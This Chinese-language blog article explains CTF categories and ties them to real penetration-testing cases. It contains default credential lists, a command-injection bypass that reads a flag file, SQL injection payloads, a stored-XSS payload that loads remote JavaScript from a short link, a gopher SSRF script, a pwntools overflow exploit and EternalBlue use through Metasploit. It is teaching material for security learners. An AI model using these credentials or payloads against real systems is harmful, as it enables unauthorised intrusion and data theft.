0x01 前言
* 本篇文章篇幅较长,12000字左右+6份视频,请确保充足时间阅读、烦请点赞转发关注,谢谢
各位师傅是否有过这些疑问:什么是CTF?CTF有啥用?我天天无聊的刷题,以后能干嘛?CTF和以后工作有什么关系?没错,我以前也有这些疑问,也问过我的前辈们,直至今日,我理解了前辈们的意思,与实战相结合,本次将以我自身体会去涵盖到从初学到实战遇到的问题以及可能的方向前景,可以用来做什么,文中包括举例、解题模拟与实战关联等
在CTF中,我们可以把它理解为比赛,或者是一种形式,一种学习模式,视频中我们介绍了关于CTF的大致问题,在文中我们会针对这些点做进一步介绍以及在实战中的关联,如下思维导图
* 文中内容仅供学习参考,具体以自身环境为主,请勿非法利用
0x02 事件关联
WEB
首先就是WEB方向,新手接触CTF的时候,练习WEB的情况下,初次接触的靶场大部分都是DVWA。
弱口令
概述
弱口令即为弱密码,常以固定的账号或密码做为默认密码
弱口令常见的分为两种情况
1. 某些设备或者系统(WEB系统、设备系统、框架)等默认口令
2. 个人在设置密码时,为了方便记忆,使用弱口令如:123456或一些特殊意义的口令
非常容易被字典进行爆破
CTF题目
在实战中的CTF题目,关于弱口令独立题目还是少见的,一般可能作于混合模式如:AWD或Jeopardy进行结合出题,本次我们以CTFHUB进行演示
根据访问页面,已知用户名为admin,使用在网络获取的字典,一般搜索"常见弱口令字典"等关键字,我这里通过github使用TOP1000尝试
这里使用intruder模块进行爆破,将password参数内数据做为变量,导入字典,开始即可,在其第914此请求,密码为admin888时,成功获取到flag
第二道题就是我们上面说到的,某些设备或系统可能存在的默认口令,题目环境为亿邮网关
当我们不清楚所谓的系统默认账号和密码时,应利用现有资源进行搜索,我们在Google上搜索到,此系统的默认账号和口令
默认账号 | 默认密码 |
---|---|
eyouuser | eyou_admin |
eyougw | admin@(eyou) |
admin | +-ccccc |
admin | cyouadmin |
经过测试,第二个账号eyougw是此处使用的账号密码,成功获取到flag
实战关联
在实战进行SRC漏洞挖掘或进行信息收集时,也可能遇到弱口令的情况,而且还不少,比如若依的默认口令
默认账号 | 默认密码 |
---|---|
admin | admin123 |
admin | admin888 |
ry | admin123 |
如以下案例,我们通过fofa筛选出关于若依框架的资产,访问登录页面后,看到在输入框中就存在了账号密码,将密码框的type改为text看到密码就是admin123,是不是蜜罐在另说,举例,现实中千万要避免踩罐子
还有一种就是druid监控弱口令,现在很多项目站点都是用的spring boot集成搭建,方便管理等优点,有些druid做为监控各API和数据库等功能,一般存在弱口令的情况下,被攻击成功后,攻击者可以通过session和url搜集进行下一步攻击
默认账号 | 默认密码 |
---|---|
admin | 123456 |
我们此处通过信息收集找到durid页面,尝试登录弱口令并成功
druid的用户名密码目前没有登录尝试次数限制,某种意义来讲,可以使用字典无限爆破
有关系到其它设备系统的默认账号密码,这里为各位找到一篇还不错的文章合集↓
常见网络产品默认口令大全
命令注入
概述
在实战和CTF题目中,我们经常会遇到命令注入或命令执行的环境,无论是常规的命令注入手法还是反序列化手法,最终的目的都是利用代码中写好的函数,在没有经过严格固定过滤的情况下,进行利用达到向服务器发送命令的效果
PHP相关函数 | 代码含义 |
---|---|
exec() | 执行一个命令并通过可能包含多个字符串的数组返回完整的输出作为结果 |
shell_exec() | 执行一个命令并通过字符串返回最后行的输出 |
system() | 执行一个命令并通过输出缓冲执行,返回命令的最后行输出 |
passthru() | 执行一个命令并传递原始输出直接到浏览器 |
popen()&proc_open() | 这两个函数允许你执行命令并打开一个进程文件指针,可以用于更复杂的命令执行和输出处理。 |
escapeshellarg()&escapeshellcmd() | 这两个函数用于确保命令行参数和命令的安全,防止注入攻击 |
eval() | 它会执行任何传入的代码(常见代码执行函数) |
assert() | 它检查传入的表达式是否为真。如果表达式为假,PHP将调用一个回调函数,或者抛出一个断言错误 |
include 和 require | 这两个函数用于包含并执行PHP文件。它们通常用于模块化代码和重用功能 |
include_once 和 require_once | 与include和require类似,但它们确保文件只被包含一次,即使多次调用 |
Java相关函数 | 代码含义 |
---|---|
Runtime.exec() | 这个方法返回一个Process对象,可以用来获取命令的输出和错误流。(也比较常见) |
ProcessBuilder | ProcessBuilder类提供了更高级的命令执行功能,允许设置环境变量、工作目录等。 |
ExecutorService | 可以并发执行多个命令 |
ScriptEngine | 使用ScriptEngine可以执行多种脚本语言的代码 |
ClassLoader | 动态加载和执行Java字节码,可以使用ClassLoader |
Reflection | 使用Java反射API,可以在运行时执行Java代码。这包括调用方法、访问字段 |
以上是在PHP和Java中关于命令执行和代码执行的函数,一般情况下,我们正常使用的漏扫中POC和正常漏洞挖掘的命令执行,大部分都是由白盒测试(代码审计)出来的,也有黑盒挖出来的,但运气占大部分,因为很多情况下,满足命令执行并绕过一些情况需要审计代码从而构参完成,当然黑盒情况下可以去测试每个参数中是否可执行命令,这个需要运气和经验
CTF题目
第一道题是CTFHUB中的入门题,eval函数,给出代码
判断有无cmd这个参数有无传入,然后进行request方法进行执行,执行的函数是eval,这个是典型的代码执行,因为是request方法,可以使用POST或GET,此处使用GET,在代码执行中代入system函数进行执行命令
此处使用system函数执行命令成功,我们查看到flag在根目录下,并尝试查看到flag内容,完成题目(一张图释义)
再看第二个CTFHUB中的一个题目,环境是ping执行,但是没有严格过滤,审计代码可绕过后完成命令执行
判断有无通过GET方法传入且判断是否为空,然后在后面使用preg_match_all过滤了斜杠和反斜杠,接着使用exec函数命令执行
正常命令执行是没有什么问题的,但是当我们查看目录时,会使用斜杠符号,此时被过滤
使用ls命令查看到当前目录下存在flag_is_here这个目录,在此目录下还存在flag文件(这里直接联合执行了,不放2张图了)
那么,我需要查看这个flag文件就需要斜杠去递归读取,但是代码层还阻止了这么做,所以这个时候需要绕过,方法很多,这里只举其一
127.0.0.1&cd flag_is_here&cat flag_152972050614384.php|base64
还是联合命令,前往flag目录下继续查看flag文件,用base64编码,因为flag文件是一个php文件,直接查看前端不显示
实战关联
在某CMS中,articleAction.class.php文件中,某功能声明处将HTML编码转为正常字符但并未过滤php代码和特殊字符
而后经过处理会将代码+数据存储到数据库中,前台进行访问后会生成一个缓存文件,缓存文件可以自定义扩展名,因而可以构造恶意PHP代码
将缓存格式换成PHP文件,并开启缓存
接着正常发布文章处在正文内容插入HTML源码,然后插入phpinfo进行测试
使用抓包工具拦截后将恶意代码进行url编码,绕过前端编码
然后前端访问文章,会产生缓存,缓存会产生同名但扩展名为PHP的文件
访问此文件执行PHPinfo成功,代码执行成功
CSRF跨站
概述
在实战中,对于很多的大型业务系统,或者每当大型活动时,目标站点可利用CSRF也比较少,现在很多的站点在设计时都有请求令牌以防止CSRF攻击,或CORS同源策略等
CTF题目
关于CTF题目至今确实罕见针对于CSRF的题目,一般可能会用于改密,然后使用通过此漏洞改密后进入系统,获取flag或下一步操作,此处还是看DVWA参考,我之前文章也写过了,已置顶
接着我们按照自己的本意正常流程去修改密码
然后我们使用burp suite抓包生成一个CSRF的包,保存为html文件,在跳板机192.168.150.2开启一个http服务运行点击
这样看可能认为太俗了,但是实战中攻击者会美化页面比如copy钓鱼页面,诱导你点击,我们只是了解大概经过
由于CSRF大多按照Referer和origin来分辨,所以WAF在此拦截识别度不高,从代码块去增加校验可以
实战关联
参考来源: https://cloud.tencent.com/developer/article/1472698
首先我们要创建两个账户,进入个人中心,点击我的账户,修改个人资料信息,完成后点击保存信息,此时进行抓包:
成功抓包以后,我们将数据包发送到Repeater模块下
右键点击 Engagement tools 进行 Generate CSRF POC 的制作
制作好的POC保存为html格式,然后我们登陆第二个账户,查看他原本的信息
接下来测试是否存在CSRF,打开本地保存的CSRF POC
点击submit request后,进行页面刷新,发现成功修改信息,目标存在CSRF,并成功越权修改个人账户信息。
文件包含
概述
在实战中,我们大多数听到的是xxx系统存在任意文件读取漏洞,xxx框架存在文件读取漏洞,而文件包含很多都是我们在用PHP练习时遇到的,任意文件读取和文件包含的区别在于,文件读取只要在执行权限及目录范围内,就可以读取到权限目录内的任意文件,设当前程序运行为root权限,那么整个系统的文件正常情况下都可以读取到,而文件包含则是,不仅可以读取到文件,还可以包含同语言的文件做为代码进行执行
PHP读取和包含函数 | 作用 |
---|---|
file_get_contents() | 这个函数读取整个文件并返回一个包含文件数据的字符串。如果文件较大,使用此函数可能会消耗大量内存。 |
fopen() | 这种方法适用于逐行处理大文件。 |
file() | 这个函数将文件作为一个数组返回,其中每一行都是数组的一个元素。如果文件很大,使用此函数也可能消耗大量内存。 |
readfile() | 直接输出一个文件的内容。此函数不返回文件内容,而是直接发送到输出缓冲区 |
fread() | 从文件指针中读取一定数量的字节。可以指定读取的字节数,适合处理大文件 |
stream_get_contents() | 获取原始的流数据。此函数通常用于读取PHP打开的流资源 |
include | include 用于包含并执行一个文件。如果文件不存在,将产生一个警告,但脚本会继续执行(常见) |
include_once | 它确保文件只被包含一次,即使多次调用 include_once 同一个文件(常见) |
require | 如果 require 无法加载文件,它会抛出一个致命错误,导致脚本终止执行 |
require_once | require_once 类似于 require,但它确保文件在整个脚本执行过程中只被包含一次 |
Java文件读取及资源包含 | 作用 |
---|---|
FileReader | FileReader用于读取字符文件,它用于读取字符流(常见) |
BufferedReader | 通常与FileReader一起使用,以提供高效的文本读取 |
FileInputStream | FileInputStream用于读取二进制文件 |
Files.readAllLines | Files类提供了读取文件所有行的静态方法 |
Scanner | Scanner类可以用来读取文件中的文本数据(常见) |
Class.getResource | 用于从类路径中获取资源 |
ClassLoader.getResource | 用于从类加载器的资源区域获取资源 |
Properties.load | 用于加载属性文件 |
Spring Framework | 可以使用@PropertySource或@ImportResource来包含外部配置 |
Java不属于脚本文件,所以没有直接文件包含这一说,所以我们在挖掘文件包含漏洞时,通常出现在PHP环境内
CTF题目
第一道题目是伪协议,CTFHUB题目,打开题目审计代码看到
判断GET传入file参数,使用substr函数截取前6位字符判断传入的是不是php://,如果是则使用include函数包含执行,如果不是则打印文本hacker
正常传入php:// 会给一个phpinfo超链接,其它什么都没有,已知php://xxx是伪协议,我们利用php://input进行命令执行
通过命令执行的方式读取到根目录下的flag文件,完成题目(一张图释义)
伪协议 | 作用 |
---|---|
php://filter | 是 PHP 内置的过滤器流,可以读取源代码,并过滤输出 |
php://output | 是一个只写的数据流, 可以通过 print 和 echo 一样的方式写入到输出缓冲区。 |
php://input | 可以访问请求的原始数据的只读流,可以通过 POST 请求执行 PHP 代码 |
第二道是远程文件包含的题目,同样是来自CTFHUB的题目
可以看fopen和include都开启状态,可以远程文件包含,其实这个题目还是通过input去解开,具体复现远程文件包含可以参考其它资料
此处使用strpos函数过滤掉了flag字符,检测到后跳出if语句,此处使用input进行命令执行即可,因为检测的是GET传入
实战关联
这个环境是道一师傅审计的某CMS的asp站,后台的某处,读取文件未对路径做严格过滤,直接递归可读取任意文件
这里的POST包没有截全,传入fileID(也就是文件名)和ThisDir(路径),可以达到文件读取路径遍历的危害
FileId=index.asp&ThisDir=../../
以上即为递归上级目录两次后看到根目录
文件上传
概述
文件上传在实战和CTF中是比较常见的了,不管黑盒和白盒都值得一试,黑盒情况下即为尝试上传文件并根据自己经验尝试绕过,根据语言判断是否解析且解析哪些类型的语言,达到GETshell的目的,而白盒测试则是更直观更透明的查看过滤了哪些内容,进行尝试绕过,在后面我们会介绍对应的案例
CTF题目
第一篇是来自CTFHUB的入门题目,根据上传文件,发现上传对应的扩展名文件并不行,排除提示,猜测代码中对fileType和文件头进行了检查,前端进行了弹窗
此时将扩展名改为php,文件类型就写image/png和文件内容填写图片的文件头,这里使用GIF的文件头
成功写入system函数的一句话木马后,我们直接GET传参进行命令执行获取flag即可
第二道题是来自BUUCTF中的ACTF新生赛文件上传,文件打开是一个灯泡,当鼠标接近时,灯泡变亮,上传入口弹出,css美化
前端存在main.js文件,审计代码看到,前端对上传扩展名和文件类型进行了检查
上传不符合规则,前端校验后直接拦截,不会产生流量,也无法抓包,如何获取到流量呢?将你的shell文件改为图片类型,后续改包
此时我将shell文件改为png上传成功了,也就是产生流量了,也上传成功了,但是我直接访问这个png文件并不会解析,因为它没有被文件包含
既然已经有流量了,也就是绕过前端了,我们直接将原来的数据包修改为shell格式上传就可以了,此处我上传的phtml文件成功,php还是失败,判断后端有黑名单机制
使用system直接命令执行获取根目录下flag(一张图释义)
实战关联
此处举例,某报表系统任意文件上传漏洞,4月份左右是看小黑说安全师傅文章看到的,后来复现成功了,在之前文章也有提到过
InputServerlet.java文件中有一action参数,通过switch进入,这里没有截到,case12是进入到上传选项
而且此处没有写死路径,通过构造payload可以逐级目录上传,此处就和经验有关了,不得不说,小黑师傅这个思路6
最后验证上传成功,漏洞存在,没有上传shell,验证存在即可
第二个是道一师傅提供的去年挖的一个cms漏洞,审计部分代码,上传zip压缩包
因为是MVC架构,所以需要去看对应的功能文件,看到对应的zipname解压后会有名+时间戳命名
首先,需要制作一个压缩包,内置一个install.json,需要过代码规则
压缩包上传成功后返回上传状态,此时会按照代码写好的格式,以zip_时间戳格式解压
解压成功至文件夹后,爆破前后30-60秒的时间戳+文件名即可获取到shell
ip:port/xxxx/xxxx/zip_$time$/xxx.php
SQL注入
概述
SQL注入在黑白盒也是同样都值得一试,前提是需要对SQL语句以及编程语言+SQL语句的一个思路,应知道如何进行成功闭合达到SQL注入成功,在正常程序中,只要你认为可能与数据库有交互的点,都可以尝试探测一下是否存在SQL注入
SQL注入类型 | 含义 |
---|---|
报错注入 | 攻击者尝试通过触发错误消息来获取数据库结构信息 |
联合查询注入 | 通过构造联合查询来获取或展示数据库中的其他数据 |
布尔盲注 | 通过构造查询,根据程序的响应时间或错误信息来推断数据库信息 |
时间盲注 | 类似于布尔盲注,但使用SQL的SLEEP()函数来根据程序响应时间来判断数据库信息 |
堆查询注入 | 攻击者通过构造复杂的查询来获取数据库中的多个数据 |
内联注入 | 利用逻辑运算符AND或OR来绕过原有的查询条件 |
注释注入 | 通过SQL注释来绕过查询中的某些条件 |
宽字节注入 | 利用宽字节字符来绕过某些过滤规则 |
LIKE注入 | 利用LIKE语句进行模糊匹配注入 |
以上是常见的一些SQL注入类型,可能不是很全,个人经验统计,我个人感觉对于SQL注入经验上还是有些欠缺的
CTF题目
第一道题是CTFHUB的cookie注入题目,在正常交互中,个人用户身份(cookie)中的某些字段可能存入了数据库中,在使用时会从中调用
通过cookie看到有一个ID为用户的身份值,改变ID编号可以看到用户的信息,挖洞过程中此处可以证明越权,此处不再叙述
通过 id=1 and1=1和id=1 and 1=2看到存在SQL注入
当1=1时为真则回显数据,但1=2时为假:true&false=false
通过二分法判断出存在2列
查看注入回显,在第二列上尝试后面的注入
查看当前使用数据库名为:sqli
查看到库中存在的表名有:mflfkjahyj,news
又查看到'mflfkjahyj'表内存在的字段名为:gatzuyiutr
最后在通过联合注入拼接相应字段,数据库,表名获取到flag
我们也可以使用sqlmap去测试,指定cookie的某项参数进行探测
CTF这里SQL注入只演示一个例子,SQL注入重在对绕过和拼接闭合的思维,弯弯绕绕的套路很多,多实战,这个只是最简单的一种类型,只是注入点不同
实战关联
因为使用的是think PHP框架,并且没有关闭debug模式,我们可以利用报错信息拿到一些敏感的点,比如登录页面,我们使之报错,拿到了SQL语句
他这里用到了括号,我们可以用括号进行闭合
select * from user where (phone=1) order by id asc limit 1;
select * from user where (phone=') OR NOT 1063=1063# 被注释) order by id asc limit 1;
使用时间盲注的payload去测试也是成功的
最后直接获取数据库和里面的敏感数据,有兴趣的师傅可以去看一下
第二个则是某次渗透测试中,在某功能处,会有开始时间和结束时间两个选项,POST发包,前端选择后会代入到数据库查询,在其功能点处加入单引号会报错,并成功看到SQL语句以及使用的是Oracle数据库
使用时间盲注payload也是同样可以测试成功的
后经使用sqlmap工具测试,可以成功执行
XSS
概述
XSS在实战中还是比较常见的,在CTF中比较少见,可以模拟一个场景
某管理员账户存在flag,但是你无法爆破密码
此时可以利用一个XSS漏洞,制作链接,让管理员模拟点击
然后你在XSS平台获取到flag
XSS一般作用于应用层,也就是WEB层面,对用户和WEB系统造成危害,在某些特殊情况下,组合拳的方式可能会对系统造成危害,XSS如果在实战中,凡是有条条框框的地方和url的地方以及参数的地方都可以去尝试一下
CTF题目
第一道题目是CTFHUB的反射型XSS,题目比较有意思,刚开始做的时候,我也是一懵,大致思路是这样的
后台是有一个模拟管理员,第一个输入框在输入且点击确认后,会在url栏中显示这个链接,你复制这个链接在第二个输入框粘贴,点击发送,后台管理员会点击,这是正常流程
然后当我们生成一个xss的链接后并发送后,管理员点击会发送至xss中的钓鱼链接,在xss平台可以看到他的信息
我们尝试将XSS链接发送至网站并生成url,复制url发送至后台
管理员点击了我们生成的链接,flag存在于cookie中,就此获得到了flag
接着就是存储型的XSS,存储型不同于反射型,当我们将XSS代码插入到相关入口中,存储型会永久保留至相关点,直至被发现,然后被清除
同样的,我们插入XSS代码后,发现并没有相关链接,这时候我们查看网页源代码看到了XSS代码
刷新页面也是存在的,当我们访问这个页面时,会执行XSS代码,以获取我们的信息,存储型XSS多发生于上传、论坛等持久化功能上
然后我们直接复制此靶机地址,发送至后台即可,无需反射型XSS那样,携带XSS代码
此时,后台管理员点击,我们在XSS平台看到flag
实战关联
实战中遇到XSS,尤其是反射型XSS的情况比较多,在某些SRC中现在也对XSS进行了忽视
存储型XSS案例参考
https://wyb0.com/posts/2016/recording-an-stored-xss/
得到临时账号进行注册,在挖掘漏洞时,这是一个非常好的习惯
注册账号成功并找到输入点
尝试构造反射型XSS payload成功,接着尝试测试存储型
发现网站自带的js文件,并尝试构造payload,生成短链接
使用如下payload:
<svg/onload="b='http://t.i'">
<svg/onload="b+='m/16ap6'">
<svg/onload="$loadJs(b)">
最终获取到存储型XSS漏洞。关于反射型实例就不再演示,用漏扫就可以扫出来不少,XSS在日常生活中很常见
SSRF
概述
SSRF不同于CSRF,虽然二者听着很相似,但是差很多,CSRF是以诱导、钓鱼的形式让用户点击链接,达到WEB功能上的攻击实现,而SSRF则是一种网络安全攻击技术,攻击者利用服务器端的应用程序发起对内部网络或服务的请求
SSRF通常可以实现以下攻击(不完全)
SSRF常见攻击项 |
---|
内网扫描 |
文件读取 |
文件上传 |
协议扫描 |
DNS重绑 |
CTF题目
第一道题是CTFHUB中的SSRF-上传文件,给出提示为flag.php
打开页面访问flag.php是空白的,因为是SSRF,怀疑是某些端口或文件不对外开放,所以此时SSRF就可以实现对内攻击了
ip:port/url=127.0.0.1/flag.php
但无奈没有上传按钮,所以需要在前端写一个submit进行上传
# -*- coding: utf-8 -*
import urllib.parse
payload ="""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 300
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-f3b2f8977afd8c75.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD0Q7BextZ5vSqlEc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-f3b2f8977afd8c75.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD0Q7BextZ5vSqlEc
Content-Disposition: form-data; name="file"; filename="shell.png"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryD0Q7BextZ5vSqlEc
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryD0Q7BextZ5vSqlEc--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result);
就此使用gopher协议上传成功后,会回显出flag值
GOpher协议传输过程
客户端请求->服务器响应->用户选择->文档检索
实战关联
有关于SSRF的实战各位可以去搜集一下,我还没挖过相关的漏洞
WEB结论
MISC
概述
在MISC(杂项)是存在多种类型的题目,各种题目都有,比如流量分析,电子取证,数据隐写,无线,物联网,工控,各种卡(水卡,饭卡,门禁卡等),密码破解等,之所以叫杂项,就是因为杂
在视频中我们会介绍经典案例
如在多年前的葫芦侠各位非常熟悉,葫芦侠就是游走于杂项改数据的边缘
再比如多年前安全等级不高的水卡饭卡,利用工具+NFC或者读卡器就可以改数据
在比如xx取证阶段,可以利用工具对某损坏的镜像进行取证出其中的数据
CTF题目
题目依旧是BUUCTF-Wireshrak流量分析,题目简单
获取到流量包,要求获取到管理员的密码,做为flag提交,已知是WEB端,wireshack筛选出http流量,缩小范围
好在流量不多,看到疑似页面,POST传参,login登录特征,直接追踪此TCP流量
第二题是来自CTFHUB-REDIS流量包,题目简单,直接打开后可以看到,客户端建立连接后向redis发送数据
直接筛选一下端口:tcp.port==6379,然后随便找到一个流量包追踪流量,然后往下看到分段的flag,拼接后提交即可
第三题是BUUCTF-你竟然赶我走,题目简单,在一般的图片题目中,解法范围比较固定一些,MISC玩的就是脑洞
打开图片没发现什么,使用工具没看到有隐写文件
使用strings或010打开可以看到flag,直接提交即可
实战关联
在实战中,如果你是个安服或者渗透,大多数接触的是隐写和流量分析,日志分析等,像工控,二进制,无线方向可能和研究有关了,当然了,人才这个东西,可能由于自身兴趣+头脑就研究出来了
如:我在某次扫描时,通过流量监测系统发现,使用fscan为什么在ping的时候会被检测到呢,这个肯定是有特征的
然后我自己使用fscan扫描物理机,然后使用抓包工具,抓到ICMP流量,在使用正常ping进行对比特征
被圈住的流量是fscan扫描的流量,以此可以看到不同的特征了吧,当我进行noping后,就检测不到了
其次就是最开始接触到的隐写,从反面来讲,往一个图片内写入恶意文件或者代码传输给受害机器或人
通过copy方法可以将shell命令写入到一个图片中,在直接上传webshell失败后,可以尝试使用此方法绕过
在上传至解析PHP语言站点后,绕过并上传成功后,会解析phpinfo达到执行成功,在结论视频中,我们会进行在往年中一个经典案例
MISC结论
Crypto(密码学)
概述
我们平常接触到的开机密码、QQ登录密码、WEB端或APP登录通俗来讲都被称为口令
口令一般由简单的字符串组成。不能起到数据保护的作用
密码是指用特定的变换对数据信息进行加密保护或者安全身份认证的物质和技术
学习密码学应具备对于各类密码的掌握,如:加解密、加签、验签、公钥私钥等,此外还需具备一定的程序编写能力
深入浅出密码学PDF:
https://github.com/zyd520/books/blob/master/%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA%E5%AF%86%E7%A0%81%E5%AD%A6.pdf
CTF题目
第一道题目是BUUCTF中的 "凯撒?替换?呵呵!",直接复制解密发现并没有flag等字眼,和偏移量有关
凯撒是一种特殊的古典密码,是一种替换密码,我们可以利用下方工具进行爆破,可以指定头部为flag字段
https://www.quipqiup.com/
去除空格,依次尝试,一般第一个就是flag,提交成功
第二题是BUUCTF中的RSA,需要有基本的数学思想,这里我用AI算的
在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d作为flga提交
1. 设一个数为n,n=p*q,n是模数
2. 计算𝜙(𝑛)=(𝑝−1)×(𝑞−1)ϕ(n)=(p−1)×(q−1),其中𝜙(𝑛)ϕ(n)是𝑛n的欧拉函数值。
3. 解方程𝑑×𝑒≡1 (mod 𝜙(𝑛))d×e≡1 (mod ϕ(n)),求解𝑑d
from sympy import mod_inverse
# 给定的值
p = 473398607161
q = 4511491
e = 17
# 计算n和phi(n)
n = p * q
phi_n = (p - 1) * (q - 1)
# 使用扩展欧几里得算法求解d
d = mod_inverse(e, phi_n)
print(f"n: {n}")
print(f"phi(n): {phi_n}")
print(f"d: {d}")
运行后得到flag为:125631357777427553
实战关联
WEB渗透中比较常见的案例,逆向+加密,之前文章写过相关情况
某登录页面可以看到,用户名被加密了,这不是base64哈,然后密码为MD5加密,此时我们可以通过翻js,查看前端源代码,断点调试的方式去逆向加密方法及密钥
通过在前端源代码中看到,加密程序被写入了前端JavaScript程序中,密钥就是打码区域,使用了AES加密,我们都知道,AES和RSA就是对称加密与非对称的区别,AES的加解密用的都是同一个密钥,当然了,AES256目前据说挺安全的
我直接在console中调用即可,在上图中,userName我输入的zhangsan,我们此时还是使用zhangsan进行加密
已知AES特性,继续反过来写解密脚本,加密是encrypt,解密就是decrypt
Crypto结论
Reverse(逆向)
概述
逆向通俗来讲,就是将一个程序或工具进行逆向解析分析,比如常见的APP渗透
APP渗透一般分为2个步骤
常规的抓包,与当初的WEB渗透步骤差不多,使用虚拟机或实体机做代理抓包
然后进行增删改查,以此进行测试是否存在漏洞和风险
还有一些APP,为了防止抓包会在程序内做一些规则
比如检测root是否开启,检测是否真机环境,检测机型等
当然你可以进行逆向,找出这些规则,尝试绕过,或对加壳的APP进行脱壳,后期对APP的HOOK等
其次就是常见的WEB传输内容加密,APP传输内容加密等
在进行WEB渗透和APP渗透或者是小程序渗透时
登录或传输时会有各种加密,防止被篡改,这个时候可能需要尝试逆向
如APP逆向之后,在包内寻找加密规则
WEB前端是否存在定义加密规则,以此进行寻找加密规则和密钥等
小程序渗透在脱包、解包后寻找可能存在的加密规则以及密钥
在文中实战中,将会介绍对于WEB登录前端加密的规则及解密
CTF题目
题目环境来自于BUUCTF-Reverse1,题目简单,可做为签到题
下载到可执行exe文件,然后使用IDA打开,使用F5打开就一个start入口
shift+F12查看到程序字符串,其中有 1. 输入flag 2. flag正确 3. flag错误三个字符串,直接跟进到flag正确
跟进到相关程序中,然后F5跟进到相关伪代码
看到明显的str2,想都没想,直接跟进了,看到字符串{hello_world}
结果提交的时候flag错误,有点纳闷,然后返回上一步在查看代码,发现问题点
判断字符串内的ascll为111时,替换为48,已知ascll码为111的字符是o,然后将o替换为48(0),则flag为{hell0_w0rld}
实战关联
某WEB登录页面发送登录请求后,密码被加密,根据规则进行逆向找到加密密钥和规则
登录的账号密码会以自定义前缀+base64encode{username+aes(password)}方式进行提交,我们将前缀去除,加密base64编码
我提交的账号密码均是wangwang,然后pwd被进行了加密,本以为是base64加密
此处可以选择对特征进行逐一逆向,但是我这里选择XHR调试,直接使用这个url进行提交抓包
此处的local-u中已经具有了编码参数,准备发送阶段,我们往上跟进
此处通过login入口定位到pwd的加密规则,直接跟进r,找到加解密规则
直接用GPT生成一个JavaScript的代码,用于加密zhangsan这个用户,成功,或者是使用在线加解密平台验证
后期的话已知登录规则,写脚本爆破,包括定位js文件中的传输加解密也可以对包进行解密
Reverse结论
Pwn
概述
了解PWN之前需要知道,PWN的方向主要是二进制,所以需要汇编能力,对C语言的掌握比较好,我个人对于C语言和汇编掌握的除了好的地方,其他都不好
在CTF中,一般是给你一个二进制文件、可执行文件
Windows为PE,Linux为ELF,然后一个远程开放的端口,端口非WEB页面
你需要分析文件,分析程序运行的规则,判定溢出点在哪,然后制作payload
发送payload至开放的端口达到溢出效果,远程控制或回显flag的目的
对于题目需要有开发,如python编写脚本的能力
有代码审计、汇编语言的能力以及思维应变的能力
我们还是以一个入门题为例和经典案例复现,因为我对PWN不是很了解,只能简单表达一下,有啥说啥哈哈哈
CTF题目
题目来源于BUUCTF-test_your_nc,题目为签到题,难度简单
通过平台下载到一个可执行文件,放到kali里面看到是ELF类型,并且题目给出提示Ubuntu,目标机器是Linux了
我们可以使用strings工具大致看一下,但是此处使用IDA查看,F5看到只有system函数调用了/bin/sh,其他没看到什么
使用工具nc远程连接此端口,可以进行命令执行,看到当前目录下的flag文件并读取到
这个其实就相当于一个可执行文件在一台Linux服务器运行,然后对外开放了一个端口,这个可执行文件可以用来执行用户输入的Linux操作命令
再来看一个题目,BUUCTF-RIP,题目简单,需进行脚本调试
开局给一个文件名为pwn1,依然是64位和ELF文件,此处不放图了,我们使用IDA直接打开
F5看到伪代码中有input和使用gets接收数据,给了一个s,跟进s并看到给s分配了15个字节
再加上由于是64位的ELF文件,所以需要加8位rbp,达到溢出return address,即为
from pwn import *
p=remote("node5.buuoj.cn",26293)
payload='A'*23+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()
这个就是利用了gets未限制接受范围的栈溢出,接下来我们会利用一直被做为素材的实战打法永恒之蓝进行演示
实战关联
靶机: 192.168.150.52
kali攻击机: 192.168.150.33
永恒之蓝是典型的缓冲区溢出漏洞,SMB协议在处理某些请求时,没有正确地验证和限制输入数据的大小。当数据包中的数据超过了用于存储这些数据的缓冲区的大小时,就会发生溢出。
在经典的探测中,使用scanner模块可以探测smb的开启以及探测是否存在某些模块进行匹配返回
探测存在后,我们通过执行模块进行上线并执行命令以执行各种命令
这个过程msf会携带payload攻击靶机并返回相应结果
PWN结论
0x03 总结
本篇文章全文12000字左右,文章仅作为CTF及实战引导参考,不作深入研究,CTF本无规律,考验的是脑洞与实战中的一些更新迭代,如果你是初次接触CTF ,认真看完本篇文章,相信应该有一些基本的了解,文章只是大概的一个框架,未来的一些知识需要你自己去探索,师傅,整理你的行囊学习吧
* 如果您觉得本篇文章质量还可以,帮助到了你的一些思路学习,麻烦点个关注点个赞,转发给身边有需要的人,感谢各位,本公众号只分享有用的知识